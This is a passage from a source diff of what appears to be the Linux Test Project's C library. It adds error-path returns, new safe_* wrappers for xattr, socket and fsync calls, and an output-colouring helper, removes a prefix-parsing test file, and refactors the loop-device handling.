-				sprintf(err_msg,
-					"lstat(%s) failed; errno=%d: %s", obj,
-					errno, SYSERR);
-				*errmsg = err_msg;
-			}
-			return -1;
-		}
-
-		/* Remove the directory itself */
-		if (statbuf.st_nlink >= 3) {
-			/* The directory is linked; unlink() must be used */
-			if (unlink(obj) < 0) {
-				if (errmsg != NULL) {
-					sprintf(err_msg,
-						"unlink(%s) failed; errno=%d: %s",
-						obj, errno, SYSERR);
-					*errmsg = err_msg;
-				}
-				return -1;
-			}
-		} else {
-			/* The directory is not linked; remove() can be used */
-			if (remove(obj) < 0) {
-				if (errmsg != NULL) {
-					sprintf(err_msg,
-						"remove(%s) failed; errno=%d: %s",
-						obj, errno, SYSERR);
-					*errmsg = err_msg;
-				}
-				return -1;
-			}
-		}
-	} else {
-		/* object is not a directory; just use unlink() */
-		if (unlink(obj) < 0) {
-			if (errmsg != NULL) {
-				sprintf(err_msg,
-					"unlink(%s) failed; errno=%d: %s", obj,
-					errno, SYSERR);
-				*errmsg = err_msg;
-			}
-			return -1;
-		}
-	}			/* if obj is a directory */
-
-	/*
-	 * Everything must have went ok.
-	 */
-	return 0;
-}				/* rmobj() */
diff --git a/lib/safe_file_ops.c b/lib/safe_file_ops.c
index dff85cd..b576cb9 100644
--- a/lib/safe_file_ops.c
+++ b/lib/safe_file_ops.c
@@ -142,6 +142,7 @@
 		tst_brkm(TBROK | TERRNO, cleanup_fn,
 			 "Failed to open FILE '%s' for reading at %s:%d",
 			 path, file, lineno);
+		return;
 	}
 
 	exp_convs = count_scanf_conversions(fmt);
@@ -154,21 +155,75 @@
 		tst_brkm(TBROK, cleanup_fn,
 			 "The FILE '%s' ended prematurely at %s:%d",
 			 path, file, lineno);
+		return;
 	}
 
 	if (ret != exp_convs) {
 		tst_brkm(TBROK, cleanup_fn,
 			 "Expected %i conversions got %i FILE '%s' at %s:%d",
 			 exp_convs, ret, path, file, lineno);
+		return;
 	}
 
 	if (fclose(f)) {
 		tst_brkm(TBROK | TERRNO, cleanup_fn,
 			 "Failed to close FILE '%s' at %s:%d",
 			 path, file, lineno);
+		return;
 	}
 }
 
+
+/*
+ * Try to parse each line from file specified by 'path' according
+ * to scanf format 'fmt'. If all fields could be parsed, stop and
+ * return 0, otherwise continue or return 1 if EOF is reached.
+ */
+int file_lines_scanf(const char *file, const int lineno,
+		     void (*cleanup_fn)(void), int strict,
+		     const char *path, const char *fmt, ...)
+{
+	FILE *fp;
+	int ret = 0;
+	int arg_count = 0;
+	char line[BUFSIZ];
+	va_list ap;
+
+	if (!fmt) {
+		tst_brkm(TBROK, cleanup_fn, "pattern is NULL, %s:%d",
+			file, lineno);
+		return 1;
+	}
+
+	fp = fopen(path, "r");
+	if (fp == NULL) {
+		tst_brkm(TBROK | TERRNO, cleanup_fn,
+			"Failed to open FILE '%s' for reading at %s:%d",
+			path, file, lineno);
+		return 1;
+	}
+
+	arg_count = count_scanf_conversions(fmt);
+
+	while (fgets(line, BUFSIZ, fp) != NULL) {
+		va_start(ap, fmt);
+		ret = vsscanf(line, fmt, ap);
+		va_end(ap);
+
+		if (ret == arg_count)
+			break;
+	}
+	fclose(fp);
+
+	if (strict && ret != arg_count) {
+		tst_brkm(TBROK, cleanup_fn, "Expected %i conversions got %i"
+			" at %s:%d", arg_count, ret, file, lineno);
+		return 1;
+	}
+
+	return !(ret == arg_count);
+}
+
 int file_printf(const char *file, const int lineno,
 		      const char *path, const char *fmt, ...)
 {
@@ -226,6 +281,7 @@
 		tst_brkm(TBROK | TERRNO, cleanup_fn,
 			 "Failed to open FILE '%s' for writing at %s:%d",
 			 path, file, lineno);
+		return;
 	}
 
 	va_start(va, fmt);
@@ -234,6 +290,7 @@
 		tst_brkm(TBROK, cleanup_fn,
 			 "Failed to print to FILE '%s' at %s:%d",
 			 path, file, lineno);
+		return;
 	}
 
 	va_end(va);
@@ -242,6 +299,7 @@
 		tst_brkm(TBROK | TERRNO, cleanup_fn,
 			 "Failed to close FILE '%s' at %s:%d",
 			 path, file, lineno);
+		return;
 	}
 }
 
@@ -295,23 +353,29 @@
 	defmode = S_IRUSR | S_IWUSR | S_IRGRP | S_IWGRP | S_IROTH | S_IWOTH;
 
 	ret = open(pathname, O_CREAT | O_WRONLY, defmode);
-	if (ret == -1)
+	if (ret == -1) {
 		tst_brkm(TBROK | TERRNO, cleanup_fn,
 			"Failed to open file '%s' at %s:%d",
 			pathname, file, lineno);
+		return;
+	}
 
 	ret = close(ret);
-	if (ret == -1)
+	if (ret == -1) {
 		tst_brkm(TBROK | TERRNO, cleanup_fn,
 			"Failed to close file '%s' at %s:%d",
 			pathname, file, lineno);
+		return;
+	}
 
 	if (mode != 0) {
 		ret = chmod(pathname, mode);
-		if (ret == -1)
+		if (ret == -1) {
 			tst_brkm(TBROK | TERRNO, cleanup_fn,
 				"Failed to chmod file '%s' at %s:%d",
 				pathname, file, lineno);
+			return;
+		}
 	}
 
 
@@ -325,16 +389,21 @@
 		struct timeval cotimes[2];
 
 		ret = stat(pathname, &sb);
-		if (ret == -1)
+		if (ret == -1) {
 			tst_brkm(TBROK | TERRNO, cleanup_fn,
 				"Failed to stat file '%s' at %s:%d",
 				pathname, file, lineno);
+			return;
+		}
 
 		ret = gettimeofday(cotimes, NULL);
-		if (ret == -1)
+		if (ret == -1) {
 			tst_brkm(TBROK | TERRNO, cleanup_fn,
 				"Failed to gettimeofday() at %s:%d",
 				file, lineno);
+			return;
+		}
+
 		cotimes[1] = cotimes[0];
 
 		set_time(cotimes, times,
diff --git a/lib/safe_macros.c b/lib/safe_macros.c
index 5a05c84..a6b4ff7 100644
--- a/lib/safe_macros.c
+++ b/lib/safe_macros.c
@@ -5,6 +5,7 @@
 #include <sys/stat.h>
 #include <sys/wait.h>
 #include <sys/mount.h>
+#include <sys/xattr.h>
 #include <errno.h>
 #include <fcntl.h>
 #include <libgen.h>
@@ -209,7 +210,12 @@
 	mode_t mode;
 
 	va_start(ap, oflags);
-	mode = va_arg(ap, mode_t);
+
+	/* Android's NDK's mode_t is smaller than an int, which results in
+	 * SIGILL here when passing the mode_t type.
+	 */
+	mode = va_arg(ap, int);
+
 	va_end(ap);
 
 	rval = open(pathname, oflags, mode);
@@ -252,22 +258,6 @@
 	return rval;
 }
 
-ssize_t safe_pread(const char *file, const int lineno, void (*cleanup_fn)(void),
-		   char len_strict, int fildes, void *buf, size_t nbyte,
-		   off_t offset)
-{
-	ssize_t rval;
-
-	rval = pread(fildes, buf, nbyte, offset);
-	if (rval == -1 || (len_strict && (size_t)rval != nbyte)) {
-		tst_brkm(TBROK | TERRNO, cleanup_fn,
-			 "%s:%d: read(%d,%p,%zu,%ld) failed, returned %zd",
-			 file, lineno, fildes, buf, nbyte, offset, rval);
-	}
-
-	return rval;
-}
-
 int safe_setegid(const char *file, const int lineno, void (*cleanup_fn) (void),
                  gid_t egid)
 {
@@ -421,6 +411,13 @@
 		tst_brkm(TBROK | TERRNO, cleanup_fn,
 			 "%s:%d: readlink(%s,%p,%zu) failed",
 			 file, lineno, path, buf, bufsize);
+	} else {
+		/* readlink does not append a NUL byte to the buffer.
+		 * Add it now. */
+		if ((size_t) rval < bufsize)
+			buf[rval] = '\0';
+		else
+			buf[bufsize-1] = '\0';
 	}
 
 	return rval;
@@ -458,22 +455,6 @@
 	return rval;
 }
 
-ssize_t safe_pwrite(const char *file, const int lineno,
-		    void (cleanup_fn) (void), char len_strict, int fildes,
-		    const void *buf, size_t nbyte, off_t offset)
-{
-	ssize_t rval;
-
-	rval = pwrite(fildes, buf, nbyte, offset);
-	if (rval == -1 || (len_strict && (size_t)rval != nbyte)) {
-		tst_brkm(TBROK | TERRNO, cleanup_fn,
-			 "%s:%d: pwrite(%d,%p,%zu,%ld) failed",
-			 file, lineno, fildes, buf, rval, offset);
-	}
-
-	return rval;
-}
-
 long safe_strtol(const char *file, const int lineno,
 		 void (cleanup_fn) (void), char *str, long min, long max)
 {
@@ -487,17 +468,20 @@
 	    || (errno != 0 && rval == 0)) {
 		tst_brkm(TBROK | TERRNO, cleanup_fn,
 			 "%s:%d: strtol(%s) failed", file, lineno, str);
+		return rval;
 	}
 
 	if (endptr == str || (*endptr != '\0' && *endptr != '\n')) {
 		tst_brkm(TBROK, cleanup_fn,
 			 "%s:%d: strtol(%s): Invalid value", file, lineno, str);
+		return 0;
 	}
 
 	if (rval > max || rval < min) {
 		tst_brkm(TBROK, cleanup_fn,
 			 "%s:%d: strtol(%s): %ld is out of range %ld - %ld",
 			 file, lineno, str, rval, min, max);
+		return 0;
 	}
 
 	return rval;
@@ -517,17 +501,20 @@
 	    || (errno != 0 && rval == 0)) {
 		tst_brkm(TBROK | TERRNO, cleanup_fn,
 			 "%s:%d: strtoul(%s) failed", file, lineno, str);
+		return rval;
 	}
 
 	if (rval > max || rval < min) {
 		tst_brkm(TBROK, cleanup_fn,
 			 "%s:%d: strtoul(%s): %lu is out of range %lu - %lu",
 			 file, lineno, str, rval, min, max);
+		return 0;
 	}
 
 	if (endptr == str || (*endptr != '\0' && *endptr != '\n')) {
 		tst_brkm(TBROK, cleanup_fn,
 			 "Invalid value: '%s' at %s:%d", str, file, lineno);
+		return 0;
 	}
 
 	return rval;
@@ -794,3 +781,117 @@
 	errno = err;
 	return rval;
 }
+
+int safe_getpriority(const char *file, const int lineno, int which, id_t who)
+{
+	int rval, err = errno;
+
+	errno = 0;
+	rval = getpriority(which, who);
+	if (errno) {
+		tst_brkm(TBROK | TERRNO, NULL,
+		         "%s:%d getpriority(%i, %i) failed",
+			 file, lineno, which, who);
+	}
+
+	errno = err;
+	return rval;
+}
+
+int safe_setxattr(const char *file, const int lineno, const char *path,
+		  const char *name, const void *value, size_t size, int flags)
+{
+	int rval;
+
+	rval = setxattr(path, name, value, size, flags);
+
+	if (rval) {
+		if (errno == ENOTSUP) {
+			tst_brkm(TCONF, NULL,
+				 "%s:%d: no xattr support in fs or mounted "
+				 "without user_xattr option", file, lineno);
+		}
+
+		tst_brkm(TBROK | TERRNO, NULL, "%s:%d: setxattr() failed",
+			     file, lineno);
+	}
+
+	return rval;
+}
+
+int safe_lsetxattr(const char *file, const int lineno, const char *path,
+		   const char *name, const void *value, size_t size, int flags)
+{
+	int rval;
+
+	rval = lsetxattr(path, name, value, size, flags);
+
+	if (rval) {
+		if (errno == ENOTSUP) {
+			tst_brkm(TCONF, NULL,
+				 "%s:%d: no xattr support in fs or mounted "
+				 "without user_xattr option", file, lineno);
+		}
+
+		tst_brkm(TBROK | TERRNO, NULL, "%s:%d: lsetxattr() failed",
+			     file, lineno);
+	}
+
+	return rval;
+}
+
+int safe_fsetxattr(const char *file, const int lineno, int fd, const char *name,
+		   const void *value, size_t size, int flags)
+{
+	int rval;
+
+	rval = fsetxattr(fd, name, value, size, flags);
+
+	if (rval) {
+		if (errno == ENOTSUP) {
+			tst_brkm(TCONF, NULL,
+				 "%s:%d: no xattr support in fs or mounted "
+				 "without user_xattr option", file, lineno);
+		}
+
+		tst_brkm(TBROK | TERRNO, NULL, "%s:%d: fsetxattr() failed",
+			     file, lineno);
+	}
+
+	return rval;
+}
+
+int safe_removexattr(const char *file, const int lineno, const char *path,
+		const char *name)
+{
+	int rval;
+
+	rval = removexattr(path, name);
+
+	if (rval) {
+		if (errno == ENOTSUP) {
+			tst_brkm(TCONF, NULL,
+				"%s:%d: no xattr support in fs or mounted "
+				"without user_xattr option", file, lineno);
+		}
+
+		tst_brkm(TBROK | TERRNO, NULL, "%s:%d: removexattr() failed",
+			file, lineno);
+	}
+
+	return rval;
+}
+
+int safe_fsync(const char *file, const int lineno, int fd)
+{
+	int rval;
+
+	rval = fsync(fd);
+
+	if (rval) {
+		tst_brkm(TBROK | TERRNO, NULL,
+			"%s:%d: fsync(%i) failed", file, lineno, fd);
+	}
+
+	return rval;
+}
diff --git a/lib/safe_net.c b/lib/safe_net.c
index 98a79cf..e48b06d 100644
--- a/lib/safe_net.c
+++ b/lib/safe_net.c
@@ -97,6 +97,58 @@
 	return rval;
 }
 
+int safe_setsockopt(const char *file, const int lineno, int sockfd, int level,
+		    int optname, const void *optval, socklen_t optlen)
+{
+	int rval;
+
+	rval = setsockopt(sockfd, level, optname, optval, optlen);
+
+	if (rval) {
+		tst_brkm(TBROK | TERRNO, NULL,
+			 "%s:%d: setsockopt(%d, %d, %d, %p, %d) failed",
+			 file, lineno, sockfd, level, optname, optval, optlen);
+	}
+
+	return rval;
+}
+
+ssize_t safe_send(const char *file, const int lineno, char len_strict,
+		  int sockfd, const void *buf, size_t len, int flags)
+{
+	ssize_t rval;
+
+	rval = send(sockfd, buf, len, flags);
+
+	if (rval == -1 || (len_strict && (size_t)rval != len)) {
+		tst_brkm(TBROK | TERRNO, NULL,
+			 "%s:%d: send(%d, %p, %zu, %d) failed",
+			 file, lineno, sockfd, buf, len, flags);
+	}
+
+	return rval;
+}
+
+ssize_t safe_sendto(const char *file, const int lineno, char len_strict,
+		    int sockfd, const void *buf, size_t len, int flags,
+		    const struct sockaddr *dest_addr, socklen_t addrlen)
+{
+	ssize_t rval;
+	char res[128];
+
+	rval = sendto(sockfd, buf, len, flags, dest_addr, addrlen);
+
+	if (rval == -1 || (len_strict && (size_t)rval != len)) {
+		tst_brkm(TBROK | TERRNO, NULL,
+			 "%s:%d: sendto(%d, %p, %zu, %d, %s, %d) failed",
+			 file, lineno, sockfd, buf, len, flags,
+			 tst_sock_addr(dest_addr, addrlen, res, sizeof(res)),
+			 addrlen);
+	}
+
+	return rval;
+}
+
 int safe_bind(const char *file, const int lineno, void (cleanup_fn)(void),
 	      int socket, const struct sockaddr *address,
 	      socklen_t address_len)
@@ -114,6 +166,7 @@
 				 socket, tst_sock_addr(address, address_len,
 						       buf, sizeof(buf)),
 				 address_len);
+			return -1;
 		}
 
 		if ((i + 1) % 10 == 0) {
@@ -129,6 +182,7 @@
 		 lineno, socket,
 		 tst_sock_addr(address, address_len, buf, sizeof(buf)),
 		 address_len);
+	return -1;
 }
 
 int safe_listen(const char *file, const int lineno, void (cleanup_fn)(void),
@@ -183,3 +237,17 @@
 
 	return rval;
 }
+
+int safe_gethostname(const char *file, const int lineno,
+		     char *name, size_t size)
+{
+	int rval = gethostname(name, size);
+
+	if (rval < 0) {
+		tst_brkm(TBROK | TERRNO, NULL,
+			 "%s:%d: gethostname(%p, %zu) failed",
+			 file, lineno, name, size);
+	}
+
+	return rval;
+}
diff --git a/lib/self_exec.c b/lib/self_exec.c
index 94f85b6..c287ce9 100644
--- a/lib/self_exec.c
+++ b/lib/self_exec.c
@@ -87,6 +87,7 @@
 		if (strlen(child_dir) == 0) {
 			tst_brkm(TBROK, NULL,
 				 "Could not get directory from -C option");
+			return;
 		}
 
 		va_start(ap, fmt);
@@ -96,6 +97,7 @@
 			if (!tok || strlen(tok) == 0) {
 				tst_brkm(TBROK, NULL,
 					 "Invalid argument to -C option");
+				return;
 			}
 
 			switch (*p) {
@@ -105,6 +107,7 @@
 				if (*endptr != '\0') {
 					tst_brkm(TBROK, NULL,
 						 "Invalid argument to -C option");
+					return;
 				}
 				*iptr = i;
 				break;
@@ -114,6 +117,7 @@
 				if (*endptr != '\0') {
 					tst_brkm(TBROK, NULL,
 						 "Invalid argument to -C option");
+					return;
 				}
 				if (j != i) {
 					va_end(ap);
@@ -126,6 +130,7 @@
 				if (!strncpy(s, tok, strlen(tok) + 1)) {
 					tst_brkm(TBROK, NULL,
 						 "Could not strncpy for -C option");
+					return;
 				}
 				break;
 			case 'S':
@@ -134,21 +139,24 @@
 				if (!*sptr) {
 					tst_brkm(TBROK, NULL,
 						 "Could not strdup for -C option");
+					return;
 				}
 				break;
 			default:
 				tst_brkm(TBROK, NULL,
 					 "Format string option %c not implemented",
 					 *p);
-				break;
+				return;
 			}
 		}
 
 		va_end(ap);
 		free(args);
-		if (chdir(child_dir) < 0)
+		if (chdir(child_dir) < 0) {
 			tst_brkm(TBROK, NULL,
 				 "Could not change to %s for child", child_dir);
+			return;
+		}
 
 		(*child) ();
 		tst_resm(TWARN, "Child function returned unexpectedly");
diff --git a/lib/signame.h b/lib/signame.h
index 19d38d9..d420458 100644
--- a/lib/signame.h
+++ b/lib/signame.h
@@ -50,13 +50,7 @@
 	#ifdef SIGSTKFLT
 		PAIR(SIGSTKFLT)
 	#endif
-
-	#ifdef SIGCLD
-		/* SIGCLD same as SIGCHLD */
-		STRPAIR(SIGCHLD, "SIGCHLD/SIGCLD")
-	#else
 		PAIR(SIGCHLD)
-	#endif
 		PAIR(SIGCONT)
 		PAIR(SIGSTOP)
 		PAIR(SIGTSTP)
diff --git a/lib/tests/bytes_by_prefix_test.c b/lib/tests/bytes_by_prefix_test.c
deleted file mode 100644
index 4e65bbd..0000000
--- a/lib/tests/bytes_by_prefix_test.c
+++ /dev/null
@@ -1,282 +0,0 @@
-/*
- * Copyright (C) 2012 Marios Makris <marios.makris@gmail.com>
- *
- * This program is free software; you can redistribute it and/or modify it
- * under the terms of version 2 of the GNU General Public License as
- * published by the Free Software Foundation.
- *
- * This program is distributed in the hope that it would be useful, but
- * WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
- *
- * Further, this software is distributed without any warranty that it is
- * free of the rightful claim of any third person regarding infringement
- * or the like.  Any license provided herein, whether implied or
- * otherwise, applies only to this software file.  Patent licenses, if
- * any, provided herein do not apply to combinations of this program with
- * other software, or any other product whatsoever.
- *
- * You should have received a copy of the GNU General Public License along
- * with this program; if not, write the Free Software Foundation, Inc.,
- * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
- */
-
-/*
- * Test program for the bytes_by_prefix program in /lib
- *
- * This program tests a few predefined values against the expected predefined
- * results, upon sucesfull completion, it prints the message:
- * "Tests sucesfully completed!" else it prints that there were an error
- * and the value as well as the type on which it failed (int, long, long long)
- * at the time of the error in order for someone to be able to trace
- * it back as well as the total number of errors encountered along with the
- * message: "Some test(s): (number of tests) failed please review!"
- */
-
-#include <stdio.h>
-#include <stdlib.h>
-
-#include "bytes_by_prefix.h"
-
-struct test_vals {
-	char *val;
-	long long res;
-};
-
-/*
- * Array with generic values suitable for all operations.
- */
-struct test_vals test[] = {
-	{"1", 1},
-	{"5", 5},
-	{"10", 10},
-	{"552558", 552558},
-	{"0", 0},
-	{"1b", 512},
-	{"5b", 2560},
-	{"0b", 0},
-	{"1k", 1024},
-	{"5k", 5120},
-	{"552558k", 565819392},
-	{"0k", 0},
-	{"1m", 1048576},
-	{"5m", 5242880},
-	{"0m", 0},
-	{"1g", 1073741824},
-	{"0g", 0},
-	/*
-	 * Negative Test Values
-	 */
-	{"a", -1},
-	{"k", -1},
-	{"m", -1},
-	{"g", -1},
-	{"K", -1},
-	{"M", -1},
-	{"G", -1},
-	{"5km", -1},
-	{"1a", -1},
-	{"1mabc", -1},
-	{"a1", -1},
-	{"k1", -1},
-	{"1 k", -1},
-	{"1k g", -1},
-	{"-5", -1},
-	{"-5b", -1},
-	{"-2k", -1},
-	{"-2m", -1},
-	{"-2g", -1},
-	{"-2K", -1},
-	{"-2M", -1},
-	{"-2G", -1}
-};
-
-/*
- * Specific values for int operations
- */
-struct test_vals test_i[] = {
-/*
- * In case of 64b system as the results of capital multipliers are multiplied
- * by the sizeof(long) or sizeof(long long) respectively.
- * Check "/lib/bytes_by_prefix.c" file for more information.
- */
-#if __SIZEOF_LONG__ == 8
-	{"5K", 40960},
-	{"0K", 0},
-	{"5M", 41943040}
-/*
- * In case of 32b system as the results of capital multipliers are multiplied
- * by the sizeof(long) or sizeof(long long) respectively.
- * Check "/lib/bytes_by_prefix.c" file for more information.
- */
-#else
-	{"5K", 20480},
-	{"0K", 0},
-	{"5M", 20971520}
-#endif
-};
-
-/*
- * Specific values for long operations
- */
-struct test_vals test_l[] = {
-/*
- * In case of 64b system as the results of capital multipliers are multiplied
- * by the sizeof(long) or sizeof(long long) respectively.
- * Check "/lib/bytes_by_prefix.c" file for more information.
- */
-#if __SIZEOF_LONG__ == 8
-	{"552558m", 579399057408},
-	{"5g", 5368709120},
-	{"5K", 40960},
-	{"5M", 41943040},
-	{"1G", 8589934592}
-/*
- * In case of 32b system as the results of capital multipliers are multiplied
- * by the sizeof(long) or sizeof(long long) respectively.
- * Check "/lib/bytes_by_prefix.c" file for more information.
- */
-#else
-	{"552558m", -1},
-	{"5g", -1},
-	{"5K", 20480},
-	{"5M", 20971520},
-	{"1G", -1}
-#endif
-};
-
-/*
- * Specific values for long long operations
- */
-struct test_vals test_ll[] = {
-	{"552558m", 579399057408LL},
-	{"5g", 5368709120LL},
-	{"5K", 40960},
-	{"552558K", 4526555136LL},
-	{"5M", 41943040},
-	{"552558M", 4635192459264LL},
-	{"5G", 42949672960LL},
-	{"552558G", 4746437078286336LL}
-};
-
-static int test_values(void)
-{
-	/*
-	 * 1st position of the array denotes the valid int operations
-	 * 2nd position of the array denotes the valid long operations
-	 * 3rd position of the array denotes the valid long long operations
-	 */
-	int valid_count[3];
-	int tests_number[3];	/* int / long / long long */
-	int i;
-	int error_count = 0;
-	int elements;		/* Number of elements inside the test array. */
-
-	elements = sizeof(test) / sizeof(struct test_vals);
-	/*
-	 * Initializing counters.
-	 */
-	for (i = 0; i < 3; i++) {
-		valid_count[i] = 0;
-		tests_number[i] = elements;
-	}
-
-	/*
-	 * The "generic" test loop. If the result of the function equals the
-	 * expected predifined result, then increase the valid counter
-	 */
-	for (i = 0; i < elements; i++) {
-		if (bytes_by_prefix(test[i].val) == test[i].res) {
-			valid_count[0]++;
-		} else {
-			printf("Test value:%s failed on int.\n", test[i].val);
-			error_count++;
-		}
-
-		if (lbytes_by_prefix(test[i].val) == test[i].res) {
-			valid_count[1]++;
-		} else {
-			printf("Test value:%s failed on long.\n", test[i].val);
-			error_count++;
-		}
-
-		if (llbytes_by_prefix(test[i].val) == test[i].res) {
-			valid_count[2]++;
-		} else {
-			printf("Test value:%s failed on long long.\n",
-			       test[i].val);
-			error_count++;
-		}
-	}
-
-	elements = sizeof(test_i) / sizeof(struct test_vals);
-	tests_number[0] += elements;
-
-	/*
-	 * Int specific test loop
-	 */
-	for (i = 0; i < elements; i++) {
-		if (bytes_by_prefix(test_i[i].val) == test_i[i].res) {
-			valid_count[0]++;
-		} else {
-			printf("Test value:%s failed on int.\n", test_i[i].val);
-			error_count++;
-		}
-	}
-
-	elements = sizeof(test_l) / sizeof(struct test_vals);
-	tests_number[1] += elements;
-
-	/*
-	 * Long specific test loop
-	 */
-	for (i = 0; i < elements; i++) {
-		if (lbytes_by_prefix(test_l[i].val) == test_l[i].res) {
-			valid_count[1]++;
-		} else {
-			printf("Test value:%s failed on long.\n",
-			       test_l[i].val);
-			error_count++;
-		}
-	}
-
-	elements = sizeof(test_ll) / sizeof(struct test_vals);
-	tests_number[2] += elements;
-
-	/*
-	 * Long long specific test loop
-	 */
-	for (i = 0; i < elements; i++) {
-		if (llbytes_by_prefix(test_ll[i].val) == test_ll[i].res) {
-			valid_count[2]++;
-		} else {
-			printf("Test value:%s failed on long long.\n",
-			       test_ll[i].val);
-			error_count++;
-		}
-	}
-
-	fprintf(stdout, "Succesfull int tests:%d/%d\n", valid_count[0],
-		tests_number[0]);
-	fprintf(stdout, "Succesfull long tests:%d/%d\n", valid_count[1],
-		tests_number[1]);
-	fprintf(stdout, "Succesfull long long tests:%d/%d\n", valid_count[2],
-		tests_number[2]);
-
-	return error_count;
-}
-
-int main(void)
-{
-	int errors = test_values();
-
-	if (errors > 0) {
-		fprintf(stderr, "\nSome test(s):(%d) failed please review!\n",
-			errors);
-		exit(1);
-	} else {
-		fprintf(stdout, "Tests succesfully completed!\n");
-	}
-
-	return 0;
-}
diff --git a/lib/tst_ansi_color.c b/lib/tst_ansi_color.c
new file mode 100644
index 0000000..f25c4d9
--- /dev/null
+++ b/lib/tst_ansi_color.c
@@ -0,0 +1,76 @@
+/*
+ * Copyright (c) 2017 Petr Vorel <pvorel@suse.cz>
+ *
+ * This program is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program. If not, see <http://www.gnu.org/licenses/>.
+ */
+
+#include <unistd.h>
+#include <stdlib.h>
+#include <string.h>
+
+#include "tst_res_flags.h"
+#include "tst_ansi_color.h"
+
+char* tst_ttype2color(int ttype)
+{
+	switch (TTYPE_RESULT(ttype)) {
+	case TPASS:
+		return ANSI_COLOR_GREEN;
+	break;
+	case TFAIL:
+		return ANSI_COLOR_RED;
+	break;
+	case TBROK:
+		return ANSI_COLOR_RED;
+	break;
+	case TCONF:
+		return ANSI_COLOR_YELLOW;
+	break;
+	case TWARN:
+		return ANSI_COLOR_MAGENTA;
+	break;
+	case TINFO:
+		return ANSI_COLOR_BLUE;
+	break;
+	default:
+		return "";
+	}
+}
+
+int tst_color_enabled(int fd)
+{
+	static int color;
+
+	if (color)
+		return color - 1;
+
+	char *env = getenv("LTP_COLORIZE_OUTPUT");
+
+	if (env) {
+		if (!strcmp(env, "n") || !strcmp(env, "0"))
+			color = 1;
+
+		if (!strcmp(env, "y") || !strcmp(env, "1"))
+			color = 2;
+
+		return color - 1;
+	}
+
+	if (isatty(fd) == 0)
+		color = 1;
+	else
+		color = 2;
+
+	return color - 1;
+}
diff --git a/lib/tst_checkpoint.c b/lib/tst_checkpoint.c
index 5d12ac9..e8e35ae 100644
--- a/lib/tst_checkpoint.c
+++ b/lib/tst_checkpoint.c
@@ -46,6 +46,7 @@
 		tst_brkm(TBROK, cleanup_fn,
 		         "%s: %d checkopoints allready initialized",
 		         file, lineno);
+		return;
 	}
 
 	/*
@@ -63,6 +64,7 @@
 		tst_brkm(TBROK, cleanup_fn,
 		         "%s:%d You have to create test temporary directory "
 		         "first (call tst_tmpdir())", file, lineno);
+		return;
 	}
 
 	page_size = getpagesize();
@@ -126,14 +128,20 @@
 }
 
 void tst_safe_checkpoint_wait(const char *file, const int lineno,
-                              void (*cleanup_fn)(void), unsigned int id)
+                              void (*cleanup_fn)(void), unsigned int id,
+			      unsigned int msec_timeout)
 {
-	int ret = tst_checkpoint_wait(id, DEFAULT_MSEC_TIMEOUT);
+	int ret;
+
+	if (!msec_timeout)
+		msec_timeout = DEFAULT_MSEC_TIMEOUT;
+
+	ret = tst_checkpoint_wait(id, msec_timeout);
 
 	if (ret) {
 		tst_brkm(TBROK | TERRNO, cleanup_fn,
 		         "%s:%d: tst_checkpoint_wait(%u, %i)",
-		         file, lineno, id, DEFAULT_MSEC_TIMEOUT);
+		         file, lineno, id, msec_timeout);
 	}
 }
 
diff --git a/lib/tst_device.c b/lib/tst_device.c
index fac20c6..5c91a54 100644
--- a/lib/tst_device.c
+++ b/lib/tst_device.c
@@ -29,6 +29,8 @@
 #include <unistd.h>
 #include <stdlib.h>
 #include <linux/loop.h>
+#include <stdint.h>
+#include <inttypes.h>
 #include "test.h"
 #include "safe_macros.h"
 
@@ -39,6 +41,7 @@
 #define LOOP_CONTROL_FILE "/dev/loop-control"
 
 #define DEV_FILE "test_dev.img"
+#define DEV_SIZE_MB 256
 
 static char dev_path[1024];
 static int device_acquired;
@@ -127,35 +130,44 @@
 	return 1;
 }
 
-static void attach_device(void (*cleanup_fn)(void),
-                          const char *dev, const char *file)
+static int attach_device(const char *dev, const char *file)
 {
-	int dev_fd, file_fd, err;
+	int dev_fd, file_fd;
 
-	dev_fd = SAFE_OPEN(cleanup_fn, dev, O_RDWR);
-	file_fd = SAFE_OPEN(cleanup_fn, file, O_RDWR);
+	dev_fd = open(dev, O_RDWR);
+	if (dev_fd < 0) {
+		tst_resm(TWARN | TERRNO, "open('%s', O_RDWR) failed", dev);
+		return 1;
+	}
+
+	file_fd = open(file, O_RDWR);
+	if (file_fd < 0) {
+		tst_resm(TWARN | TERRNO, "open('%s', O_RDWR) failed", file);
+		close(dev_fd);
+		return 1;
+	}
 
 	if (ioctl(dev_fd, LOOP_SET_FD, file_fd) < 0) {
-		err = errno;
 		close(dev_fd);
 		close(file_fd);
-		tst_brkm(TBROK, cleanup_fn,
-		         "ioctl(%s, LOOP_SET_FD, %s) failed: %s",
-			 dev, file, tst_strerrno(err));
+		tst_resm(TWARN | TERRNO, "ioctl(%s, LOOP_SET_FD, %s) failed",
+			 dev, file);
+		return 1;
 	}
 
 	close(dev_fd);
 	close(file_fd);
+	return 0;
 }
 
-static void detach_device(const char *dev)
+static int detach_device(const char *dev)
 {
 	int dev_fd, ret, i;
 
 	dev_fd = open(dev, O_RDONLY);
 	if (dev_fd < 0) {
 		tst_resm(TWARN | TERRNO, "open(%s) failed", dev);
-		return;
+		return 1;
 	}
 
 	/* keep trying to clear LOOPDEV until we get ENXIO, a quick succession
@@ -165,13 +177,15 @@
 
 		if (ret && (errno == ENXIO)) {
 			close(dev_fd);
-			return;
+			return 0;
 		}
 
 		if (ret && (errno != EBUSY)) {
 			tst_resm(TWARN,
 				 "ioctl(%s, LOOP_CLR_FD, 0) unexpectedly failed with: %s",
 				 dev, tst_strerrno(errno));
+			close(dev_fd);
+			return 1;
 		}
 
 		usleep(50000);
@@ -180,70 +194,128 @@
 	close(dev_fd);
 	tst_resm(TWARN,
 		"ioctl(%s, LOOP_CLR_FD, 0) no ENXIO for too long", dev);
+	return 1;
 }
 
-const char *tst_acquire_device(void (cleanup_fn)(void))
+const char *tst_acquire_device__(unsigned int size)
 {
+	int fd;
 	char *dev;
 	struct stat st;
+	unsigned int acq_dev_size;
